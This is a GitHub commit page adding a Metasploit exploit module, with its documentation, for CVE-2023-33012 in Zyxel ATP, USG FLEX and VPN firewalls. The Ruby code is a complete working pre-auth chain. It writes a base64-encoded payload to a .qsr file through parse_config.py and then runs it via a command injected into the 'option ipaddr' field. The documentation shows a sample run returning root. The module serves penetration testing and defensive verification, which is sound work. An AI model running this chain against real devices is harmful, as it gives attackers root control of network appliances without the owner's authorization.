Skip to content

Commit df8f281

Browse files
Land rapid7#19204, Zyxel VPN Series Pre-auth Command Injection
2 parents 29beac7 + b67f05f commit df8f281

File tree

2 files changed

+241
-0
lines changed

2 files changed

+241
-0
lines changed
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
## Vulnerable Application
2+
This module exploits multiple vulnerabilities in order to obtain pre-auth command injection the multiple Zyxel device models.
3+
The exploit chain uses CVE-2023-33012 which is a command injection vulnerability which can be exploited when uploading a
4+
new configuration to /ztp/cgi-bin/parse_config.py by appending a command to the `option ipaddr ` field.
5+
6+
The command injection is length limited to 0x14 bytes and is why this exploit chains a .qsr file write vulnerability as
7+
well in order to write the payload to a file which has no length limit and then call the payload with the command
8+
injection.
9+
10+
Two caveats of this exploit chain were described by Jacob Baines in the following
11+
[blog post](https://vulncheck.com/blog/zyxel-cve-2023-33012#you-get-one-shot).
12+
1. In order for the target to be vulnerable Cloud Management Mode (SD-WAN mode) must be enable (it is not by default).
13+
2. The target can only be exploited once due to the order of operations in which the exploit functions.
14+
15+
| Product | Affected Versions |
16+
|-----------------------------------|----------------------------------|
17+
| ATP | V5.10 through V5.36 Patch 2 |
18+
| USG FLEX | V5.00 through V5.36 Patch 2 |
19+
| USG FLEX 50(W) / USG20(W)-VPN | V5.10 through V5.36 Patch 2 |
20+
| VPN | V5.00 through V5.36 Patch 2 |
21+
22+
### Setup
23+
24+
To test this module you will need to acquire a hardware device running one of the vulnerable firmware versions listed above.
25+
26+
## Options
27+
28+
### WRITEABLE_DIR
29+
30+
This indicates the location where you would like the payload and exploit stored, as well
31+
as serving as a location to store the various files and directories created by the exploit itself.
32+
The default value is `/tmp`
33+
34+
## Verification Steps
35+
36+
1. Start msfconsole
37+
1. Do: `use zyxel_parse_config_rce`
38+
1. Set the `RHOST` and `LHOST`
39+
1. Run the module
40+
1. Receive a Meterpreter session as the `root` user.
41+
42+
## Scenarios
43+
### Mock USG Flex environment
44+
```
45+
msf6 exploit(linux/http/zyxel_parse_config_rce) > set payload cmd/unix/generic
46+
payload => cmd/unix/generic
47+
msf6 exploit(linux/http/zyxel_parse_config_rce) > set cmd id
48+
cmd => id
49+
msf6 exploit(linux/http/zyxel_parse_config_rce) > set AllowNoCleanup true
50+
AllowNoCleanup => true
51+
msf6 exploit(linux/http/zyxel_parse_config_rce) > run
52+
53+
[*] Attempting to upload the payload via QSR file write...
54+
[+] File write was successful.
55+
[+] Command output:
56+
uid=0(root) gid=0(root) groups=0(root)
57+
58+
[!] This exploit may require manual cleanup of '/tmp/N.qsr' on the target
59+
[*] Exploit completed, but no session was created.
60+
```
Lines changed: 181 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,181 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
8+
Rank = NormalRanking
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Exploit::FileDropper
12+
prepend Msf::Exploit::Remote::AutoCheck
13+
14+
def initialize(info = {})
15+
super(
16+
update_info(
17+
info,
18+
'Name' => 'Zyxel parse_config.py Command Injection',
19+
'Description' => %q{
20+
This module exploits vulnerabilities in multiple Zyxel devices including the VPN, USG and APT series.
21+
The affected firmware versions depend on the device module, see this module's documentation for more details.
22+
23+
Note this module was unable to be tested against a real Zyxel device and was tested against a mock environment.
24+
If you run into any issues testing this in a real environment we kindly ask you raise an issue in
25+
metasploit's github repository: https://github.com/rapid7/metasploit-framework/issues/new/choose
26+
},
27+
'Author' => [
28+
'SSD Secure Disclosure technical team', # discovery
29+
'jheysel-r7' # Msf module
30+
],
31+
'References' => [
32+
[ 'URL', 'https://ssd-disclosure.com/ssd-advisory-zyxel-vpn-series-pre-auth-remote-command-execution/'],
33+
[ 'CVE', '2023-33012']
34+
],
35+
'License' => MSF_LICENSE,
36+
'Platform' => ['linux', 'unix'],
37+
'Privileged' => true,
38+
'Arch' => [ ARCH_CMD ],
39+
'Targets' => [
40+
[ 'Automatic Target', {}]
41+
],
42+
'DefaultTarget' => 0,
43+
'DisclosureDate' => '2024-01-24',
44+
'Notes' => {
45+
'Stability' => [ CRASH_SAFE, ],
46+
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],
47+
'Reliability' => [ ] # This vulnerability can only be exploited once, more info: https://vulncheck.com/blog/zyxel-cve-2023-33012#you-get-one-shot
48+
}
49+
)
50+
)
51+
52+
register_options(
53+
[
54+
OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]),
55+
]
56+
)
57+
end
58+
59+
def check
60+
res = send_request_cgi({
61+
'method' => 'GET',
62+
'uri' => normalize_uri(target_uri.path, 'ext-js', 'app', 'common', 'zld_product_spec.js')
63+
})
64+
return CheckCode::Unknown('No response from /ext-js/app/common/zld_product_spec.js') if res.nil?
65+
66+
if res.code == 200
67+
product_match = res.body.match(/ZLDSYSPARM_PRODUCT_NAME1="([^"]*)"/)
68+
version_match = res.body.match(/ZLDCONFIG_CLOUD_HELP_VERSION=([\d.]+)/)
69+
70+
if product_match && version_match
71+
product = product_match[1]
72+
version = version_match[1]
73+
74+
if (product.starts_with?('USG') && product.include?('W') && Rex::Version.new(version) <= Rex::Version.new('5.36.2') && Rex::Version.new(version) >= Rex::Version.new('5.10')) ||
75+
(product.starts_with?('USG') && !product.include?('W') && Rex::Version.new(version) <= Rex::Version.new('5.36.2') && Rex::Version.new(version) >= Rex::Version.new('5.00')) ||
76+
(product.starts_with?('ATP') && Rex::Version.new(version) <= Rex::Version.new('5.36.2') && Rex::Version.new(version) >= Rex::Version.new('5.10')) ||
77+
(product.starts_with?('VPN') && Rex::Version.new(version) <= Rex::Version.new('5.36.2') && Rex::Version.new(version) >= Rex::Version.new('5.00'))
78+
return CheckCode::Appears("Product: #{product}, Version: #{version}")
79+
else
80+
return CheckCode::Safe("Product: #{product}, Version: #{version}")
81+
end
82+
end
83+
end
84+
CheckCode::Unknown('Version and product info were unable to be determined.')
85+
end
86+
87+
def on_new_session(session)
88+
super
89+
command_output = ''
90+
# Get the most recently created GRE tunnel interface, bring it down then delete it to allow for subsequent module runs.
91+
if session.type.to_s.eql? 'meterpreter'
92+
newest_gre = session.sys.process.execute '/bin/sh', "-c \"ip -d link show type gre | grep -oP '^\\d+: \\K[^@]+' | tail -n 1\""
93+
print_good("Found the most recently created GRE tunnel interface: #{newest_gre}. Going to delete it to allow for subsequent module runs.")
94+
command_output = session.sys.process.execute '/bin/sh', "-c \"ifconfig #{newest_gre} down && ip tunnel del #{newest_gre} mode gre && echo success\""
95+
elsif session.type.to_s.eql? 'shell'
96+
newest_gre = session.shell_command_token "ip -d link show type gre | grep -oP '^\\d+: \\K[^@]+' | tail -n 1"
97+
print_good("Found the most recently created GRE tunnel interface: #{newest_gre}. Going to delete it to allow for subsequent module runs.")
98+
command_output = session.shell_command_token "ifconfig #{newest_gre} down && ip tunnel del #{newest_gre} mode gre && echo success"
99+
end
100+
101+
if command_output.include?('success')
102+
print_good('The GRE interface was successfully removed.')
103+
else
104+
print_warning('The module failed to remove the GRE interface created by this exploit. Subsequent module runs will likely fail unless unless it\'s successfully removed')
105+
end
106+
end
107+
108+
def exploit
109+
# Command injection has a 0x14 byte length limit so keep the file name as small as possible.
110+
# The length limit is also why we leverage the arbitrary file write -> write our payload to the .qrs file then execute it with the command injection.
111+
filename = rand_text_alpha(1)
112+
payload_filepath = "#{datastore['WRITABLE_DIR']}/#{filename}.qsr"
113+
114+
command = payload.raw
115+
command += ' '
116+
command += <<~CMD
117+
2>/var/log/ztplog 1>/var/log/ztplog
118+
(sleep 10 && /bin/rm -rf #{payload_filepath}) &
119+
CMD
120+
command = "echo #{Rex::Text.encode_base64(command)} | base64 -d > #{payload_filepath} ; . #{payload_filepath}"
121+
122+
file_write_pload = "option proto vti\n"
123+
file_write_pload += "option #{command};exit\n"
124+
file_write_pload += "option name 1\n"
125+
126+
config = Base64.strict_encode64(file_write_pload)
127+
data = { 'config' => config, 'fqdn' => "\x00" }
128+
print_status('Attempting to upload the payload via QSR file write...')
129+
130+
file_write_res = send_request_cgi({
131+
'method' => 'POST',
132+
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'parse_config.py'),
133+
'data' => data.to_s
134+
})
135+
unless file_write_res && !file_write_res.body.include?('ParseError: 0xC0DE0005')
136+
fail_with(Failure::PayloadFailed, 'The response from the target indicates the payload transfer was unsuccessful')
137+
end
138+
139+
register_files_for_cleanup(payload_filepath)
140+
print_good("File write was successful, uploaded: #{payload_filepath}")
141+
142+
cmd_injection_pload = "option proto gre\n"
143+
cmd_injection_pload += "option name 0\n"
144+
cmd_injection_pload += "option ipaddr ;. #{payload_filepath};\n"
145+
cmd_injection_pload += "option netmask 24\n"
146+
cmd_injection_pload += "option gateway 0\n"
147+
cmd_injection_pload += "option localip #{Faker::Internet.private_ip_v4_address}\n"
148+
cmd_injection_pload += "option remoteip #{Faker::Internet.private_ip_v4_address}\n"
149+
config = Rex::Text.encode_base64(cmd_injection_pload)
150+
data = { 'config' => config, 'fqdn' => "\x00" }
151+
152+
cmd_injection_res = send_request_cgi({
153+
'method' => 'POST',
154+
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'parse_config.py'),
155+
'data' => data.to_s
156+
})
157+
158+
# If the payload being used is for example cmd/unix/generic and not a payload spawning any kind of handler (bind or reverse)
159+
# we can query the /ztp/cgi-bin/dumpztplog.py for the stdout of the command and print it for the user.
160+
if payload_instance.connection_type == 'none'
161+
cmd_output_res = send_request_cgi({
162+
'method' => 'GET',
163+
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'dumpztplog.py')
164+
})
165+
166+
if cmd_output_res&.body && !cmd_output_res.body.empty?
167+
output = cmd_output_res.body.split("</head>\n<body>")[1]
168+
output = output.split("</body>\n</html>")[0]
169+
output = output.gsub("\n\n<br>", '')
170+
output = output.gsub("[IPC]IPC result: 1\n", '')
171+
print_good("Command output: #{output}")
172+
else
173+
print_error("Could not retrieve the command's stout from /ztp/cgi-bin/dumpztplog.py")
174+
end
175+
end
176+
177+
unless cmd_injection_res && !cmd_injection_res.body.include?('ParseError: 0xC0DE0005')
178+
fail_with(Failure::PayloadFailed, 'The response from the target indicates the payload transfer was unsuccessful')
179+
end
180+
end
181+
end

0 commit comments

Comments
 (0)